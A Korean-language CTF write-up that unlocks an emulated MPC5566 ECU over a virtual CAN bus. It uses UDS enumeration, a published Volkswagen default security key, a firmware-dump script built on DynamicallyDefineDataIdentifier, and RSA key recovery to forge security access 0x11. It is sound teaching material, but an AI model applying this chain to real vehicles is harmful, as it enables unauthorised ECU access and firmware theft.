문제 정보
Word on the street is that Secure Access Level 0x11 is necessary to update the firmware. Can you unlock the ECU to see?
This challenge can be played by accessing the "VCC25 PPC" simulation hosted within VSEC Learn. This simulation emulates an MPC5566 processor. If you get a pending response, be patient, the emulator is not fast. Flags will be sent on the same CAN bus with arbitration ID 0xC0.
문제 풀이 요약
1. 시뮬레이션 환경에서는 vcan0 네트워크가 제공되며 0x7e0-0x7e8에 UDS 서비스가 동작함
2. 세션은 Default Session(10 01)만이 허용되며 security access level 0x1(27 01/27 02)에 맞는 키를 찾아 인증해야 다음 단계로 진입 가능
3. 관련된 정보로는 READ_DATA_BY_IDENTIFIER(0x22)로 얻을 수 있었으며 DID 0xf18c에서 AUDI2009 문자열이 존재
4. AUDI2009와 security access 등의 문자열을 이용한 구글 검색으로 [Beneath the Bonnet: a Breakdown of Diagnostic Security]라는 한 문서를 찾을 수 있고 해당 문서 내에 key의 기본 값이 존재
5. Security access level 0x1(27 01/27 02)을 성공적으로 수행하면 Security access level 0x11 인증(27 11/27 12)에 접근이 가능함
6. 또한 DYNAMICALLY_DEFINE_DATA_IDENTIFIER(0x2C) 기능을 통해 메모리를 DID로 동적 설정하여 펌웨어를 얻을 수 있습니다.
7. 펌웨어 내 Security access level 0x11 인증 로직은 RSA 공개키 검증(m^65537 mod N)임
8. N값과 e(65537)를 사용해 d를 구한 후 Seed를 d로 지수 제곱 연산을 수행한 값 128 byte를 전송하면 입력값을 복호화 한 값과 Seed를 비교한 뒤 Flag를 출력함
문제 풀이 상세
1. 시뮬레이션 환경에 접속 후 vcan0 네트워크에 0x7e0 CAN ID로 Default session을 요청하면 0x7e8로 응답을 줍니다.
$ cansend vcan0 7e0#0210010000000000
# candump termainal
$ candump vcan0
vcan0 7E0 [8] 02 10 01 00 00 00 00 00
vcan0 7E8 [8] 02 50 01 FF FF FF FF FF
2. [caringcaribu] 도구를 이용해서 UDS 정보를 수집합니다.
10 01 : 세션 컨트롤 default 11 01
11 02 : ECU_reset (hard, soft)
27 01 : security access level 0x1
3e : TESETER_PRESENT
이외의 서비스 및 하위 서비스는 nrc 0x11로 액세스 거부되었습니다.
$ caringcaribu uds auto
...
Identified services:
Supported service 0x10: DIAGNOSTIC_SESSION_CONTROL
Supported service 0x11: ECU_RESET
Supported service 0x22: READ_DATA_BY_IDENTIFIER
Supported service 0x27: SECURITY_ACCESS
Supported service 0x2c: DYNAMICALLY_DEFINE_DATA_IDENTIFIER
Supported service 0x3e: TESTER_PRESENT
Identified DIDs:
DID Value (hex)
0xf186 00
0xf187 504e5f42304e4e335400 -> PN_B0NN3T
0xf18a 41554449 -> AUDI
0xf18b 3031323932303039 -> 01292009
0xf18c 4155444932303039 -> AUDI2009
0xf190 314248434d383236333341303034353237 -> 1BHCM82633A004527
3. Security Access Level 0x1은 DID에서 힌트를 얻어 풀이할 수 있었습니다.
a. 처음에는 1byte xor, add mod 0xff, byte shift 등 다양한 방식을 시도하였으나 실패하였습니다.
b. DID 0xf18c에서 얻은 AUDI2009와 security access를 중심으로 검색하여 [Beneath the Bonnet: a Breakdown of Diagnostic Security]라는 문서를 찾을 수 있었습니다. [https://flaviodgarcia.com/publications/BtB.pdf]
c. 해당 문서에는 Volkswagen Group ECU에서 Security Access가 실패할 시 기본 키를 비교한다는 내용이 있었으며 기본 키는 0xCAFFE012 입니다.
d. 해당 키를 이용해 시도하여 성공 응답을 받을 수 있었습니다.
$ cansend vcan0 7e0#0227010000000000
vcan0 7E0 [8] 02 27 11 00 00 00 00 00
vcan0 7E8 [8] 10 22 67 11 F0 AB 75 4E
vcan0 7E0 [8] 30 00 00 00 00 00 00 00
vcan0 7E8 [8] 21 16 D0 DF 7B 05 A9 18
vcan0 7E8 [8] 22 C4 70 FB 1D 4D D9 A5
vcan0 7E8 [8] 23 41 EF A8 81 22 9D 69
vcan0 7E8 [8] 24 15 86 AA 25 BB 2B 9F
$ cansend vcan0 7e0#062702CAFFE01200
vcan0 7E0 [8] 06 27 02 CA FF E0 12 00
vcan0 7E8 [8] 02 67 02 FF FF FF FF FF
4. Security Access Level 0x1이 통과한 이후에는 추가로 10 03(확장 진단 세션) 접근이 가능하며DYNAMICALLY_DEFINE_DATA_IDENTIFIER(0x2c)서비스의 해금과 Security Access Level 0x11에 접근이 허용됩니다.
• isotprecv를 이용하여 응답을 수신하였습니다.
• SA 0x11의 시드는 32byte 입니다.
$ echo 10 03 | isotpsend -s 7e0 -d 7e8 -p 00 vcan0
$ echo 27 11 | isotpsend -s 7e0 -d 7e8 -p 00 vcan0
$ isotprecv -p 00 -s 7e0 -d 7e8 -l vcan0
50 03
67 11 C6 7D F8 33 19 2A 6C 56 24 BB BC D9 28 2B 7B 71 1D E7 E0 22 CF 97 A8 B7 10 35 01 AA F8 B1 BC F0
5. DYNAMICALLY_DEFINE_DATA_IDENTIFIER(0x2c)와 READ_DATA_BY_IDENTIFIER(0x22)를 이용하면 메모리를 읽고 Firmware를 얻을 수 있습니다.
• DYNAMICALLY_DEFINE_DATA_IDENTIFIER(0x2c) 서비스의 기능으로 메모리 주소를 DID에 할당합니다.
• READ_DATA_BY_IDENTIFIER(0x22)서비스로 해당 DID를 읽을 때 메모리의 정보를 출력합니다.
• 아래는 0x00000000 메모리의 0xf0 size를 읽는 명령입니다.
$ echo 2c 02 f3 02 14 00 00 00 00 f0 | isotpsend -s 7e0 -d 7e8 -p 00 vcan0
$ echo 22 f3 02 | isotpsend -s 7e0 -d 7e8 -p 00 vcan0
6C 02 F3 02
62 F3 02 00 5A 00 00 00 01 43 E0 00 00 FF FF 55 AA 55 AA FF FF FF FF 6D 61 64 65 20 62 79 20 6F 62 6C 69 76 69 6F 6E FF FF FF FF 63 30 62 6F 6F 74 00 00 63 30 61 70 70 6C 00 00 63 30 64 61 74 61 00 00 50 4E 5F 45 43 55 34 32 34 32 00 00 33 00 00 00 76 31 2E 34 2E 31 00 00 62 6C 6F 63 6B 68 61 72 62 6F 72 00 30 37 32 39 32 30 32 35 00 00 00 00 53 4E 42 48 31 33 33 37 00 00 00 00 31 42 48 43 4D 38 32 36 33 33 41 30 30 34 35 32 37 00 00 00 00 01 33 20 00 01 33 38 00 01 33 50 00 01 34 28 00 01 34 28 00 01 34 28 00 01 33 68 00 01 33 80 00 01 33 98 00 01 33 B0 00 01 33 C8 00 01 33 E0 00 01 33 F8 00 01 34 28 00 01 34 28 00 01 34 28 00 01 34 10 42 8A 2F 98 71 37 44 91 B5 C0 FB CF E9 B5 DB A5 39 56 C2 5B 59 F1 11 F1 92 3F 82 A4
6. 해당 서비스를 이용해 전체 펌웨어를 덤프하는 코드를 작성하고 실행합니다.
#!/usr/bin/env python3
# pip install isotp
import os, isotp
IFACE = "vcan0"
TXID = 0x7E0
RXID = 0x7E8
DID = 0xF302
START = 0x00000000
END = 0x00100000
STEP = 0x80
OUT = "dump.bin"
TIMEOUT= 2.0
addr = isotp.Address(isotp.AddressingMode.Normal_11bits, txid=TXID, rxid=RXID)
s = isotp.socket(); s.set_opts(txpad=0x00, rxpad=0x00); s.bind(IFACE, addr);
open(OUT, "wb").close()
with open(OUT, "r+b") as f:
for a in range(START, END, STEP):
# 2C 02 F302 ALFI(0x44=addr4,size4) + addr + size
s.send(bytes([0x2C,0x02,(DID>>8)&0xFF,DID&0xFF,0x14]) + a.to_bytes(4,"big") + STEP.to_bytes(1,"big"))
r = s.recv()
if not r or (len(r)>=3 and r[0]==0x7F): continue
# 22 F302
s.send(bytes([0x22,(DID>>8)&0xFF,DID&0xFF]))
r = s.recv()
if not r or r[0]==0x7F: continue
if r[0]!=0x62 or r[1]!=(DID>>8)&0xFF or r[2]!=(DID&0xFF): break
data = r[3:3+STEP]
f.seek(a-START, os.SEEK_SET)
f.write(data)
print(f"{a:08X}+{len(data)}")
print("done")
• 파일을 로컬로 가져오기 위해서 바이너리를 문자열로 변환하고 주최측에서 제공된 API를 이용해 이동하였습니다.
$ xxd -p -u dump.bin > dump.txt
$ curl 'https://simbay.vsec.blockharbor.io/api/v1/file/firm/dump_cp2.bin' \
-H 'accept: */*' \
-H 'authorization: Bearer 'USER_JWT' \
-H 'content-type: application/json' > dump.txt
$ xxd -r -p dump.txt > dump.bin
7. 펌웨어 내에서 SA 0x11 과 관련된 코드를 분석합니다.
a. FUN_00046914 함수 내에 0x67 0x12 를 반환하는 코드가 SA 0x11을 검증하는 코드인 것으로 보입니다.

b. FUN_0004382c 함수는 param_2^65537 mod param4 연산을 수행하는 함수입니다.
• 이는 RSA 암호화와 유사하며 65537은 공개 지수로 사용됩니다.
• 고로 Modulus 값의 소인수를 찾을 수 있다면 개인키를 복구하여 원하는 값이 쓰이도록 할 수 있습니다.

1. param_1은 연산 후 결과가 저장될 메모리입니다.
2. param_2는 사용자가 입력할 128 byte의 데이터입니다.
3. param_3은 연산 중에 사용되는 tmp 메모리입니다.
4. param_4에 들어갈 modulus 값은 0x40148에 있는 128byte의 상수를 사용합니다.
8. Modulus의 소인수 계산하기 위해 여러 시도 중 해당 ECU는 byte를 8byte씩 나누어 역순으로 저장한 big-endian 방식을 사용하는 것을 식별하였습니다.
a. 연산 후 메모리 0x40000050에는 복호화 결과가 저장되는데 1을 보냈을 때 1이 아닌 128byte 값이 저장되었습니다. → 원래라면 1^65537 = 1 이어야 합니다.
b. 메모리를 여러 방식으로 배열하여 factordb.com을 이용해 소인수를 확인한 결과 8byte 역순 big-endian 방식이었습니다.
c. 해당 값을 인수분해하면 정확히 두 소인수로 나누어 떨어집니다.

9. RSA 암호화를 위한 코드 작성 후 시드와 연산하여 암호문을 구합니다.
• 암호문을 보낼 때에도 마찬가지로 8byte 역순 big-endian 방식으로 나열해야 합니다.
from math import prod, lcm, gcd
p = 11807485231629132025602991324007150366908229752508016230400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
q = 12684117323636134264468162714319298445454220244413621344524758865071052169170753552224766744798369054498758364258656141800253652826603727552918575175830897
primes = [p, q]
e = 65537
N_test = 149767527975084886970446073530848114556615616489502613024958495602726912268566044330103850191720149622479290535294679429142532379851252608925587476670908668848275349192719279981470382501117310509432417895412013324758865071052169170753552224766744798369054498758364258656141800253652826603727552918575175830897
N = prod(primes)
lam = lcm(*[p-1 for p in primes])
assert gcd(e, lam) == 1
d = pow(e, -1, lam)
def rsa_decrypt(c_bytes, N_bytes):
c = int.from_bytes(c_bytes, 'big')
N = int.from_bytes(N_bytes, 'big')
m = pow(c, d, N)
return m.to_bytes(len(N_bytes), 'big')
def rsa_encrypt(c_bytes, N_bytes):
c = int.from_bytes(c_bytes, 'big')
N = int.from_bytes(N_bytes, 'big')
m = pow(c, e, N)
return m.to_bytes(len(N_bytes), 'big')
# seed
m_bytes = bytes.fromhex("3D 72 D8 76 E2 9B 5E 5F 01 9C 37 22 C7 42 89 E4 18 A1 1C 9A 4A C1 44 5B A4 27 6E E4 95 79 81 AD".replace(" ", ""))
# modulus
N_bytes = bytes.fromhex("d546aa825cf61de97765f464fbfe4889ad8bf2f25a2175d02c8b6f2ac0c5c27b67035aec192b3741dd1f4d127531b07ab012eb86241c09c081499e69ef5aeac78dc6230d475da7ee17f02f63b6f09a2d381df9b6928e8d9e0747feba248bffdff89cdfaf4771658919b6981c9e1428e9a53425ca2a310aa6d760833118ee0d71")
c_bytes = rsa_decrypt(m_bytes, N_bytes)
# 8 byte reverse array
result = ''
tmp = c_bytes.hex()
for i in range(0, len(tmp), 16):
result = tmp[i:i+16] + result
[print(result[i:i+2], end=" ") for i in range(0, len(result), 2)]
10. 암호문을 27 12로 전송하면 10분정도의 시간이 지나고 정상 응답 코드가 응답됩니다. 이후 0x0C0 CAN ID로 Flag가 전송됩니다.
• flag{n0t_really_k3yless_now_1s_1t}